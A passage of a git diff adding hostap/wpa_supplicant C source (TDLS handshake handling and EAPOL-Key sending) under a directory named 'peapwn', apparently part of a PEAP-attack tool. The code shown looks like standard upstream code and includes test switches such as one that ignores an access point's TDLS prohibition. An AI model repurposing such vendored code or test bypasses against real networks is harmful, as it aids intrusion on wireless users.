"TDLS: TPK lifetime %u seconds", lifetime); + if (lifetime < 300) { + wpa_printf(MSG_INFO, "TDLS: Too short TPK lifetime"); + status = WLAN_STATUS_UNACCEPTABLE_LIFETIME; + goto error; + } + +skip_rsn: +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_CONCURRENT_INIT) { + if (os_memcmp(sm->own_addr, peer->addr, ETH_ALEN) < 0) { + /* + * The request frame from us is going to win, so do not + * replace information based on this request frame from + * the peer. + */ + goto skip_rsn_check; + } + } +#endif /* CONFIG_TDLS_TESTING */ + + peer->initiator = 0; /* Need to check */ + peer->dtoken = dtoken; + + if (!wpa_tdls_get_privacy(sm)) { + peer->rsnie_i_len = 0; + peer->rsnie_p_len = 0; + peer->cipher = WPA_CIPHER_NONE; + goto skip_rsn_check; + } + + ftie = (struct wpa_tdls_ftie *) kde.ftie; + os_memcpy(peer->rsnie_i, kde.rsn_ie, kde.rsn_ie_len); + peer->rsnie_i_len = kde.rsn_ie_len; + peer->cipher = cipher; + + if (os_memcmp(peer->inonce, ftie->Snonce, WPA_NONCE_LEN) != 0) { + /* + * There is no point in updating the RNonce for every obtained + * TPK M1 frame (e.g., retransmission due to timeout) with the + * same INonce (SNonce in FTIE). However, if the TPK M1 is + * retransmitted with a different INonce, update the RNonce + * since this is for a new TDLS session. + */ + wpa_printf(MSG_DEBUG, + "TDLS: New TPK M1 INonce - generate new RNonce"); + os_memcpy(peer->inonce, ftie->Snonce, WPA_NONCE_LEN); + if (os_get_random(peer->rnonce, WPA_NONCE_LEN)) { + wpa_msg(sm->ctx->ctx, MSG_WARNING, + "TDLS: Failed to get random data for responder nonce"); + wpa_tdls_peer_free(sm, peer); + goto error; + } + } + +#if 0 + /* get version info from RSNIE received from Peer */ + hdr = (struct rsn_ie_hdr *) kde.rsn_ie; + rsn_ver = WPA_GET_LE16(hdr->version); + + /* use min(peer's version, out version) */ + if (rsn_ver > RSN_VERSION) + rsn_ver = RSN_VERSION; + + hdr = (struct rsn_ie_hdr *) peer->rsnie_p; + + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, rsn_ver); + pos = (u8 *) (hdr + 1); + + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_NO_GROUP_ADDRESSED); + pos += RSN_SELECTOR_LEN; + /* Include only the selected cipher in pairwise cipher suite */ + WPA_PUT_LE16(pos, 1); + pos += 2; + if (cipher == WPA_CIPHER_CCMP) + RSN_SELECTOR_PUT(pos, RSN_CIPHER_SUITE_CCMP); + pos += RSN_SELECTOR_LEN; + + WPA_PUT_LE16(pos, 1); + pos += 2; + RSN_SELECTOR_PUT(pos, RSN_AUTH_KEY_MGMT_TPK_HANDSHAKE); + pos += RSN_SELECTOR_LEN; + + rsn_capab = WPA_CAPABILITY_PEERKEY_ENABLED; + rsn_capab |= RSN_NUM_REPLAY_COUNTERS_16 << 2; + WPA_PUT_LE16(pos, rsn_capab); + pos += 2; + + hdr->len = (pos - peer->rsnie_p) - 2; + peer->rsnie_p_len = pos - peer->rsnie_p; +#endif + + /* temp fix: validation of RSNIE later */ + os_memcpy(peer->rsnie_p, peer->rsnie_i, peer->rsnie_i_len); + peer->rsnie_p_len = peer->rsnie_i_len; + + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE for TPK handshake", + peer->rsnie_p, peer->rsnie_p_len); + + peer->lifetime = lifetime; + + wpa_tdls_generate_tpk(peer, sm->own_addr, sm->bssid); + +skip_rsn_check: + /* add the peer to the driver as a "setup in progress" peer */ + wpa_sm_tdls_peer_addset(sm, peer->addr, 1, 0, 0, NULL, 0, NULL, NULL, 0, + NULL, 0); + peer->tpk_in_progress = 1; + + wpa_printf(MSG_DEBUG, "TDLS: Sending TDLS Setup Response / TPK M2"); + if (wpa_tdls_send_tpk_m2(sm, src_addr, dtoken, lnkid, peer) < 0) { + wpa_tdls_disable_peer_link(sm, peer); + goto error; + } + + return 0; + +error: + wpa_tdls_send_error(sm, src_addr, WLAN_TDLS_SETUP_RESPONSE, dtoken, + status); + return -1; +} + + +static int wpa_tdls_enable_link(struct wpa_sm *sm, struct wpa_tdls_peer *peer) +{ + peer->tpk_success = 1; + peer->tpk_in_progress = 0; + eloop_cancel_timeout(wpa_tdls_tpk_timeout, sm, peer); + if (wpa_tdls_get_privacy(sm)) { + u32 lifetime = peer->lifetime; + /* + * Start the initiator process a bit earlier to avoid race + * condition with the responder sending teardown request. + */ + if (lifetime > 3 && peer->initiator) + lifetime -= 3; + eloop_register_timeout(lifetime, 0, wpa_tdls_tpk_timeout, + sm, peer); +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_NO_TPK_EXPIRATION) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - disable TPK " + "expiration"); + eloop_cancel_timeout(wpa_tdls_tpk_timeout, sm, peer); + } +#endif /* CONFIG_TDLS_TESTING */ + } + + /* add supported rates, capabilities, and qos_info to the TDLS peer */ + if (wpa_sm_tdls_peer_addset(sm, peer->addr, 0, peer->aid, + peer->capability, + peer->supp_rates, peer->supp_rates_len, + peer->ht_capabilities, + peer->vht_capabilities, + peer->qos_info, peer->ext_capab, + peer->ext_capab_len) < 0) + return -1; + + if (peer->reconfig_key && wpa_tdls_set_key(sm, peer) < 0) { + wpa_printf(MSG_INFO, "TDLS: Could not configure key to the " + "driver"); + return -1; + } + peer->reconfig_key = 0; + + return wpa_sm_tdls_oper(sm, TDLS_ENABLE_LINK, peer->addr); +} + + +static int wpa_tdls_process_tpk_m2(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_tdls_peer *peer; + struct wpa_eapol_ie_parse kde; + struct wpa_ie_data ie; + int cipher; + struct wpa_tdls_ftie *ftie; + struct wpa_tdls_timeoutie *timeoutie; + struct wpa_tdls_lnkid *lnkid; + u32 lifetime; + u8 dtoken; + int ielen; + u16 status; + const u8 *pos; + int ret = 0; + + wpa_printf(MSG_DEBUG, "TDLS: Received TDLS Setup Response / TPK M2 " + "(Peer " MACSTR ")", MAC2STR(src_addr)); + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, src_addr, ETH_ALEN) == 0) + break; + } + if (peer == NULL) { + wpa_printf(MSG_INFO, "TDLS: No matching peer found for " + "TPK M2: " MACSTR, MAC2STR(src_addr)); + return -1; + } + if (!peer->initiator) { + /* + * This may happen if both devices try to initiate TDLS at the + * same time and we accept the TPK M1 from the peer in + * wpa_tdls_process_tpk_m1() and clear our previous state. + */ + wpa_printf(MSG_INFO, "TDLS: We were not the initiator, so " + "ignore TPK M2 from " MACSTR, MAC2STR(src_addr)); + return -1; + } + wpa_tdls_tpk_retry_timeout_cancel(sm, peer, WLAN_TDLS_SETUP_REQUEST); + + if (len < 3 + 2 + 1) { + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + pos = buf; + pos += 1 /* pkt_type */ + 1 /* Category */ + 1 /* Action */; + status = WPA_GET_LE16(pos); + pos += 2 /* status code */; + + if (status != WLAN_STATUS_SUCCESS) { + wpa_printf(MSG_INFO, "TDLS: Status code in TPK M2: %u", + status); + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + status = WLAN_STATUS_UNSPECIFIED_FAILURE; + + /* TODO: need to verify dialog token matches here or in kernel */ + dtoken = *pos++; /* dialog token */ + + wpa_printf(MSG_DEBUG, "TDLS: Dialog Token in TPK M2 %d", dtoken); + + if (len < 3 + 2 + 1 + 2) { + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + /* capability information */ + peer->capability = WPA_GET_LE16(pos); + pos += 2; + + ielen = len - (pos - buf); /* start of IE in buf */ + if (wpa_supplicant_parse_ies(pos, ielen, &kde) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse IEs in TPK M2"); + goto error; + } + +#ifdef CONFIG_TDLS_TESTING + if (tdls_testing & TDLS_TESTING_DECLINE_RESP) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - decline response"); + status = WLAN_STATUS_REQUEST_DECLINED; + goto error; + } +#endif /* CONFIG_TDLS_TESTING */ + + if (kde.lnkid == NULL || kde.lnkid_len < 3 * ETH_ALEN) { + wpa_printf(MSG_INFO, "TDLS: No valid Link Identifier IE in " + "TPK M2"); + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: Link ID Received from TPK M2", + kde.lnkid, kde.lnkid_len); + lnkid = (struct wpa_tdls_lnkid *) kde.lnkid; + + if (os_memcmp(sm->bssid, lnkid->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_INFO, "TDLS: TPK M2 from different BSS"); + status = WLAN_STATUS_NOT_IN_SAME_BSS; + goto error; + } + + if (copy_supp_rates(&kde, peer) < 0) + goto error; + + if (copy_peer_ht_capab(&kde, peer) < 0) + goto error; + + if (copy_peer_vht_capab(&kde, peer) < 0) + goto error; + + if (copy_peer_ext_capab(&kde, peer) < 0) + goto error; + + peer->qos_info = kde.qosinfo; + + peer->aid = kde.aid; + + if (!wpa_tdls_get_privacy(sm)) { + peer->rsnie_p_len = 0; + peer->cipher = WPA_CIPHER_NONE; + goto skip_rsn; + } + + if (kde.ftie == NULL || kde.ftie_len < sizeof(*ftie) || + kde.rsn_ie == NULL) { + wpa_printf(MSG_INFO, "TDLS: No FTIE or RSN IE in TPK M2"); + status = WLAN_STATUS_INVALID_PARAMETERS; + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE Received from TPK M2", + kde.rsn_ie, kde.rsn_ie_len); + + /* + * FIX: bitwise comparison of RSN IE is not the correct way of + * validation this. It can be different, but certain fields must + * match. Since we list only a single pairwise cipher in TPK M1, the + * memcmp is likely to work in most cases, though. + */ + if (kde.rsn_ie_len != peer->rsnie_i_len || + os_memcmp(peer->rsnie_i, kde.rsn_ie, peer->rsnie_i_len) != 0) { + wpa_printf(MSG_INFO, "TDLS: RSN IE in TPK M2 does " + "not match with RSN IE used in TPK M1"); + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE Sent in TPK M1", + peer->rsnie_i, peer->rsnie_i_len); + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE Received from TPK M2", + kde.rsn_ie, kde.rsn_ie_len); + status = WLAN_STATUS_INVALID_RSNIE; + goto error; + } + + if (wpa_parse_wpa_ie_rsn(kde.rsn_ie, kde.rsn_ie_len, &ie) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse RSN IE in TPK M2"); + status = WLAN_STATUS_INVALID_RSNIE; + goto error; + } + + cipher = ie.pairwise_cipher; + if (cipher == WPA_CIPHER_CCMP) { + wpa_printf(MSG_DEBUG, "TDLS: Using CCMP for direct link"); + cipher = WPA_CIPHER_CCMP; + } else { + wpa_printf(MSG_INFO, "TDLS: No acceptable cipher in TPK M2"); + status = WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; + goto error; + } + + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE Received from TPK M2", + kde.ftie, sizeof(*ftie)); + ftie = (struct wpa_tdls_ftie *) kde.ftie; + + if (!os_memcmp(peer->inonce, ftie->Snonce, WPA_NONCE_LEN) == 0) { + wpa_printf(MSG_INFO, "TDLS: FTIE SNonce in TPK M2 does " + "not match with FTIE SNonce used in TPK M1"); + /* Silently discard the frame */ + return -1; + } + + /* Responder Nonce and RSN IE */ + os_memcpy(peer->rnonce, ftie->Anonce, WPA_NONCE_LEN); + os_memcpy(peer->rsnie_p, kde.rsn_ie, kde.rsn_ie_len); + peer->rsnie_p_len = kde.rsn_ie_len; + peer->cipher = cipher; + + /* Lifetime */ + if (kde.key_lifetime == NULL) { + wpa_printf(MSG_INFO, "TDLS: No Key Lifetime IE in TPK M2"); + status = WLAN_STATUS_UNACCEPTABLE_LIFETIME; + goto error; + } + timeoutie = (struct wpa_tdls_timeoutie *) kde.key_lifetime; + lifetime = WPA_GET_LE32(timeoutie->value); + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime %u seconds in TPK M2", + lifetime); + if (lifetime != peer->lifetime) { + wpa_printf(MSG_INFO, "TDLS: Unexpected TPK lifetime %u in " + "TPK M2 (expected %u)", lifetime, peer->lifetime); + status = WLAN_STATUS_UNACCEPTABLE_LIFETIME; + goto error; + } + + wpa_tdls_generate_tpk(peer, sm->own_addr, sm->bssid); + + /* Process MIC check to see if TPK M2 is right */ + if (wpa_supplicant_verify_tdls_mic(2, peer, (u8 *) lnkid, + (u8 *) timeoutie, ftie) < 0) { + /* Discard the frame */ + wpa_tdls_del_key(sm, peer); + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + if (wpa_tdls_set_key(sm, peer) < 0) { + /* + * Some drivers may not be able to config the key prior to full + * STA entry having been configured. + */ + wpa_printf(MSG_DEBUG, "TDLS: Try to configure TPK again after " + "STA entry is complete"); + peer->reconfig_key = 1; + } + +skip_rsn: + peer->dtoken = dtoken; + + wpa_printf(MSG_DEBUG, "TDLS: Sending TDLS Setup Confirm / " + "TPK Handshake Message 3"); + if (wpa_tdls_send_tpk_m3(sm, src_addr, dtoken, lnkid, peer) < 0) { + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + if (!peer->tpk_success) { + /* + * Enable Link only when tpk_success is 0, signifying that this + * processing of TPK M2 frame is not because of a retransmission + * during TDLS setup handshake. + */ + ret = wpa_tdls_enable_link(sm, peer); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "TDLS: Could not enable link"); + wpa_tdls_do_teardown( + sm, peer, + WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED); + } + } + return ret; + +error: + wpa_tdls_send_error(sm, src_addr, WLAN_TDLS_SETUP_CONFIRM, dtoken, + status); + wpa_tdls_disable_peer_link(sm, peer); + return -1; +} + + +static int wpa_tdls_process_tpk_m3(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_tdls_peer *peer; + struct wpa_eapol_ie_parse kde; + struct wpa_tdls_ftie *ftie; + struct wpa_tdls_timeoutie *timeoutie; + struct wpa_tdls_lnkid *lnkid; + int ielen; + u16 status; + const u8 *pos; + u32 lifetime; + int ret = 0; + + wpa_printf(MSG_DEBUG, "TDLS: Received TDLS Setup Confirm / TPK M3 " + "(Peer " MACSTR ")", MAC2STR(src_addr)); + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, src_addr, ETH_ALEN) == 0) + break; + } + if (peer == NULL) { + wpa_printf(MSG_INFO, "TDLS: No matching peer found for " + "TPK M3: " MACSTR, MAC2STR(src_addr)); + return -1; + } + wpa_tdls_tpk_retry_timeout_cancel(sm, peer, WLAN_TDLS_SETUP_RESPONSE); + + if (len < 3 + 3) + goto error; + pos = buf; + pos += 1 /* pkt_type */ + 1 /* Category */ + 1 /* Action */; + + status = WPA_GET_LE16(pos); + + if (status != 0) { + wpa_printf(MSG_INFO, "TDLS: Status code in TPK M3: %u", + status); + goto error; + } + pos += 2 /* status code */ + 1 /* dialog token */; + + ielen = len - (pos - buf); /* start of IE in buf */ + if (wpa_supplicant_parse_ies((const u8 *) pos, ielen, &kde) < 0) { + wpa_printf(MSG_INFO, "TDLS: Failed to parse KDEs in TPK M3"); + goto error; + } + + if (kde.lnkid == NULL || kde.lnkid_len < 3 * ETH_ALEN) { + wpa_printf(MSG_INFO, "TDLS: No Link Identifier IE in TPK M3"); + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: Link ID Received from TPK M3", + (u8 *) kde.lnkid, kde.lnkid_len); + lnkid = (struct wpa_tdls_lnkid *) kde.lnkid; + + if (os_memcmp(sm->bssid, lnkid->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_INFO, "TDLS: TPK M3 from diff BSS"); + goto error; + } + + if (!wpa_tdls_get_privacy(sm)) + goto skip_rsn; + + if (kde.ftie == NULL || kde.ftie_len < sizeof(*ftie)) { + wpa_printf(MSG_INFO, "TDLS: No FTIE in TPK M3"); + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE Received from TPK M3", + kde.ftie, sizeof(*ftie)); + ftie = (struct wpa_tdls_ftie *) kde.ftie; + + if (kde.rsn_ie == NULL) { + wpa_printf(MSG_INFO, "TDLS: No RSN IE in TPK M3"); + goto error; + } + wpa_hexdump(MSG_DEBUG, "TDLS: RSN IE Received from TPK M3", + kde.rsn_ie, kde.rsn_ie_len); + if (kde.rsn_ie_len != peer->rsnie_p_len || + os_memcmp(kde.rsn_ie, peer->rsnie_p, peer->rsnie_p_len) != 0) { + wpa_printf(MSG_INFO, "TDLS: RSN IE in TPK M3 does not match " + "with the one sent in TPK M2"); + goto error; + } + + if (!os_memcmp(peer->rnonce, ftie->Anonce, WPA_NONCE_LEN) == 0) { + wpa_printf(MSG_INFO, "TDLS: FTIE ANonce in TPK M3 does " + "not match with FTIE ANonce used in TPK M2"); + goto error; + } + + if (!os_memcmp(peer->inonce, ftie->Snonce, WPA_NONCE_LEN) == 0) { + wpa_printf(MSG_INFO, "TDLS: FTIE SNonce in TPK M3 does not " + "match with FTIE SNonce used in TPK M1"); + goto error; + } + + if (kde.key_lifetime == NULL) { + wpa_printf(MSG_INFO, "TDLS: No Key Lifetime IE in TPK M3"); + goto error; + } + timeoutie = (struct wpa_tdls_timeoutie *) kde.key_lifetime; + wpa_hexdump(MSG_DEBUG, "TDLS: Timeout IE Received from TPK M3", + (u8 *) timeoutie, sizeof(*timeoutie)); + lifetime = WPA_GET_LE32(timeoutie->value); + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime %u seconds in TPK M3", + lifetime); + if (lifetime != peer->lifetime) { + wpa_printf(MSG_INFO, "TDLS: Unexpected TPK lifetime %u in " + "TPK M3 (expected %u)", lifetime, peer->lifetime); + goto error; + } + + if (wpa_supplicant_verify_tdls_mic(3, peer, (u8 *) lnkid, + (u8 *) timeoutie, ftie) < 0) { + wpa_tdls_del_key(sm, peer); + goto error; + } + + if (wpa_tdls_set_key(sm, peer) < 0) { + /* + * Some drivers may not be able to config the key prior to full + * STA entry having been configured. + */ + wpa_printf(MSG_DEBUG, "TDLS: Try to configure TPK again after " + "STA entry is complete"); + peer->reconfig_key = 1; + } + +skip_rsn: + if (!peer->tpk_success) { + /* + * Enable Link only when tpk_success is 0, signifying that this + * processing of TPK M3 frame is not because of a retransmission + * during TDLS setup handshake. + */ + ret = wpa_tdls_enable_link(sm, peer); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "TDLS: Could not enable link"); + wpa_tdls_do_teardown( + sm, peer, + WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED); + } + } + return ret; +error: + wpa_tdls_disable_peer_link(sm, peer); + return -1; +} + + +static u8 * wpa_add_tdls_timeoutie(u8 *pos, u8 *ie, size_t ie_len, u32 tsecs) +{ + struct wpa_tdls_timeoutie *lifetime = (struct wpa_tdls_timeoutie *) ie; + + os_memset(lifetime, 0, ie_len); + lifetime->ie_type = WLAN_EID_TIMEOUT_INTERVAL; + lifetime->ie_len = sizeof(struct wpa_tdls_timeoutie) - 2; + lifetime->interval_type = WLAN_TIMEOUT_KEY_LIFETIME; + WPA_PUT_LE32(lifetime->value, tsecs); + os_memcpy(pos, ie, ie_len); + return pos + ie_len; +} + + +/** + * wpa_tdls_start - Initiate TDLS handshake (send TPK Handshake Message 1) + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @peer: MAC address of the peer STA + * Returns: 0 on success, or -1 on failure + * + * Send TPK Handshake Message 1 info to driver to start TDLS + * handshake with the peer. + */ +int wpa_tdls_start(struct wpa_sm *sm, const u8 *addr) +{ + struct wpa_tdls_peer *peer; + int tdls_prohibited = sm->tdls_prohibited; + + if (sm->tdls_disabled || !sm->tdls_supported) + return -1; + +#ifdef CONFIG_TDLS_TESTING + if ((tdls_testing & TDLS_TESTING_IGNORE_AP_PROHIBIT) && + tdls_prohibited) { + wpa_printf(MSG_DEBUG, "TDLS: Testing - ignore AP prohibition " + "on TDLS"); + tdls_prohibited = 0; + } +#endif /* CONFIG_TDLS_TESTING */ + + if (tdls_prohibited) { + wpa_printf(MSG_DEBUG, "TDLS: TDLS is prohibited in this BSS - " + "reject request to start setup"); + return -1; + } + + peer = wpa_tdls_add_peer(sm, addr, NULL); + if (peer == NULL) + return -1; + + if (peer->tpk_in_progress) { + wpa_printf(MSG_DEBUG, "TDLS: Setup is already in progress with the peer"); + return 0; + } + + peer->initiator = 1; + + /* add the peer to the driver as a "setup in progress" peer */ + wpa_sm_tdls_peer_addset(sm, peer->addr, 1, 0, 0, NULL, 0, NULL, NULL, 0, + NULL, 0); + + peer->tpk_in_progress = 1; + + if (wpa_tdls_send_tpk_m1(sm, peer) < 0) { + wpa_tdls_disable_peer_link(sm, peer); + return -1; + } + + return 0; +} + + +void wpa_tdls_remove(struct wpa_sm *sm, const u8 *addr) +{ + struct wpa_tdls_peer *peer; + + if (sm->tdls_disabled || !sm->tdls_supported) + return; + + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) + break; + } + + if (peer == NULL || !peer->tpk_success) + return; + + if (sm->tdls_external_setup) { + /* + * Disable previous link to allow renegotiation to be completed + * on AP path. + */ + wpa_tdls_disable_peer_link(sm, peer); + } +} + + +/** + * wpa_supplicant_rx_tdls - Receive TDLS data frame + * + * This function is called to receive TDLS (ethertype = 0x890d) data frames. + */ +static void wpa_supplicant_rx_tdls(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len) +{ + struct wpa_sm *sm = ctx; + struct wpa_tdls_frame *tf; + + wpa_hexdump(MSG_DEBUG, "TDLS: Received Data frame encapsulation", + buf, len); + + if (sm->tdls_disabled || !sm->tdls_supported) { + wpa_printf(MSG_DEBUG, "TDLS: Discard message - TDLS disabled " + "or unsupported by driver"); + return; + } + + if (os_memcmp(src_addr, sm->own_addr, ETH_ALEN) == 0) { + wpa_printf(MSG_DEBUG, "TDLS: Discard copy of own message"); + return; + } + + if (len < sizeof(*tf)) { + wpa_printf(MSG_INFO, "TDLS: Drop too short frame"); + return; + } + + /* Check to make sure its a valid encapsulated TDLS frame */ + tf = (struct wpa_tdls_frame *) buf; + if (tf->payloadtype != 2 /* TDLS_RFTYPE */ || + tf->category != WLAN_ACTION_TDLS) { + wpa_printf(MSG_INFO, "TDLS: Invalid frame - payloadtype=%u " + "category=%u action=%u", + tf->payloadtype, tf->category, tf->action); + return; + } + + switch (tf->action) { + case WLAN_TDLS_SETUP_REQUEST: + wpa_tdls_process_tpk_m1(sm, src_addr, buf, len); + break; + case WLAN_TDLS_SETUP_RESPONSE: + wpa_tdls_process_tpk_m2(sm, src_addr, buf, len); + break; + case WLAN_TDLS_SETUP_CONFIRM: + wpa_tdls_process_tpk_m3(sm, src_addr, buf, len); + break; + case WLAN_TDLS_TEARDOWN: + wpa_tdls_recv_teardown(sm, src_addr, buf, len); + break; + case WLAN_TDLS_DISCOVERY_REQUEST: + wpa_tdls_process_discovery_request(sm, src_addr, buf, len); + break; + default: + /* Kernel code will process remaining frames */ + wpa_printf(MSG_DEBUG, "TDLS: Ignore TDLS frame action code %u", + tf->action); + break; + } +} + + +/** + * wpa_tdls_init - Initialize driver interface parameters for TDLS + * @wpa_s: Pointer to wpa_supplicant data + * Returns: 0 on success, -1 on failure + * + * This function is called to initialize driver interface parameters for TDLS. + * wpa_drv_init() must have been called before this function to initialize the + * driver interface. + */ +int wpa_tdls_init(struct wpa_sm *sm) +{ + if (sm == NULL) + return -1; + + sm->l2_tdls = l2_packet_init(sm->bridge_ifname ? sm->bridge_ifname : + sm->ifname, + sm->own_addr, + ETH_P_80211_ENCAP, wpa_supplicant_rx_tdls, + sm, 0); + if (sm->l2_tdls == NULL) { + wpa_printf(MSG_ERROR, "TDLS: Failed to open l2_packet " + "connection"); + return -1; + } + + /* + * Drivers that support TDLS but don't implement the get_capa callback + * are assumed to perform everything internally + */ + if (wpa_sm_tdls_get_capa(sm, &sm->tdls_supported, + &sm->tdls_external_setup) < 0) { + sm->tdls_supported = 1; + sm->tdls_external_setup = 0; + } + + wpa_printf(MSG_DEBUG, "TDLS: TDLS operation%s supported by " + "driver", sm->tdls_supported ? "" : " not"); + wpa_printf(MSG_DEBUG, "TDLS: Driver uses %s link setup", + sm->tdls_external_setup ? "external" : "internal"); + + return 0; +} + + +void wpa_tdls_teardown_peers(struct wpa_sm *sm) +{ + struct wpa_tdls_peer *peer; + + peer = sm->tdls; + + wpa_printf(MSG_DEBUG, "TDLS: Tear down peers"); + + while (peer) { + wpa_printf(MSG_DEBUG, "TDLS: Tear down peer " MACSTR, + MAC2STR(peer->addr)); + if (sm->tdls_external_setup) + wpa_tdls_send_teardown(sm, peer->addr, + WLAN_REASON_DEAUTH_LEAVING); + else + wpa_sm_tdls_oper(sm, TDLS_TEARDOWN, peer->addr); + + peer = peer->next; + } +} + + +static void wpa_tdls_remove_peers(struct wpa_sm *sm) +{ + struct wpa_tdls_peer *peer, *tmp; + + peer = sm->tdls; + sm->tdls = NULL; + + while (peer) { + int res; + tmp = peer->next; + res = wpa_sm_tdls_oper(sm, TDLS_DISABLE_LINK, peer->addr); + wpa_printf(MSG_DEBUG, "TDLS: Remove peer " MACSTR " (res=%d)", + MAC2STR(peer->addr), res); + wpa_tdls_peer_free(sm, peer); + os_free(peer); + peer = tmp; + } +} + + +/** + * wpa_tdls_deinit - Deinitialize driver interface parameters for TDLS + * + * This function is called to recover driver interface parameters for TDLS + * and frees resources allocated for it. + */ +void wpa_tdls_deinit(struct wpa_sm *sm) +{ + if (sm == NULL) + return; + + if (sm->l2_tdls) + l2_packet_deinit(sm->l2_tdls); + sm->l2_tdls = NULL; + + wpa_tdls_remove_peers(sm); +} + + +void wpa_tdls_assoc(struct wpa_sm *sm) +{ + wpa_printf(MSG_DEBUG, "TDLS: Remove peers on association"); + wpa_tdls_remove_peers(sm); +} + + +void wpa_tdls_disassoc(struct wpa_sm *sm) +{ + wpa_printf(MSG_DEBUG, "TDLS: Remove peers on disassociation"); + wpa_tdls_remove_peers(sm); +} + + +static int wpa_tdls_prohibited(const u8 *ies, size_t len) +{ + struct wpa_eapol_ie_parse elems; + + if (ies == NULL) + return 0; + + if (wpa_supplicant_parse_ies(ies, len, &elems) < 0) + return 0; + + if (elems.ext_capab == NULL || elems.ext_capab_len < 2 + 5) + return 0; + + /* bit 38 - TDLS Prohibited */ + return !!(elems.ext_capab[2 + 4] & 0x40); +} + + +void wpa_tdls_ap_ies(struct wpa_sm *sm, const u8 *ies, size_t len) +{ + sm->tdls_prohibited = wpa_tdls_prohibited(ies, len); + wpa_printf(MSG_DEBUG, "TDLS: TDLS is %s in the target BSS", + sm->tdls_prohibited ? "prohibited" : "allowed"); +} + + +void wpa_tdls_assoc_resp_ies(struct wpa_sm *sm, const u8 *ies, size_t len) +{ + if (!sm->tdls_prohibited && wpa_tdls_prohibited(ies, len)) { + wpa_printf(MSG_DEBUG, "TDLS: TDLS prohibited based on " + "(Re)Association Response IEs"); + sm->tdls_prohibited = 1; + } +} + + +void wpa_tdls_enable(struct wpa_sm *sm, int enabled) +{ + wpa_printf(MSG_DEBUG, "TDLS: %s", enabled ? "enabled" : "disabled"); + sm->tdls_disabled = !enabled; +} + + +int wpa_tdls_is_external_setup(struct wpa_sm *sm) +{ + return sm->tdls_external_setup; +} diff --git a/peapwn/mods/hostap/src/rsn_supp/wpa.c b/peapwn/mods/hostap/src/rsn_supp/wpa.c new file mode 100644 index 000000000..d4f86e6f0 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/wpa.c @@ -0,0 +1,2707 @@ +/* + * WPA Supplicant - WPA state machine and EAPOL-Key processing + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/crypto.h" +#include "crypto/random.h" +#include "common/ieee802_11_defs.h" +#include "eapol_supp/eapol_supp_sm.h" +#include "wpa.h" +#include "eloop.h" +#include "preauth.h" +#include "pmksa_cache.h" +#include "wpa_i.h" +#include "wpa_ie.h" +#include "peerkey.h" + + +/** + * wpa_eapol_key_send - Send WPA/RSN EAPOL-Key message + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @kck: Key Confirmation Key (KCK, part of PTK) + * @ver: Version field from Key Info + * @dest: Destination address for the frame + * @proto: Ethertype (usually ETH_P_EAPOL) + * @msg: EAPOL-Key message + * @msg_len: Length of message + * @key_mic: Pointer to the buffer to which the EAPOL-Key MIC is written + */ +void wpa_eapol_key_send(struct wpa_sm *sm, const u8 *kck, + int ver, const u8 *dest, u16 proto, + u8 *msg, size_t msg_len, u8 *key_mic) +{ + if (is_zero_ether_addr(dest) && is_zero_ether_addr(sm->bssid)) { + /* + * Association event was not yet received; try to fetch + * BSSID from the driver. + */ + if (wpa_sm_get_bssid(sm, sm->bssid) < 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Failed to read BSSID for " + "EAPOL-Key destination address"); + } else { + dest = sm->bssid; + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: Use BSSID (" MACSTR + ") as the destination for EAPOL-Key", + MAC2STR(dest)); + } + } + if (key_mic && + wpa_eapol_key_mic(kck, ver, msg, msg_len, key_mic)) { + wpa_msg(sm->ctx->msg_ctx, MSG_ERROR, + "WPA: Failed to generate EAPOL-Key " + "version %d MIC", ver); + goto out; + } + wpa_hexdump_key(MSG_DEBUG, "WPA: KCK", kck, 16); + wpa_hexdump(MSG_DEBUG, "WPA: Derived Key MIC", key_mic, 16); + wpa_hexdump(MSG_MSGDUMP, "WPA: TX EAPOL-Key", msg, msg_len); + wpa_sm_ether_send(sm, dest, proto, msg, 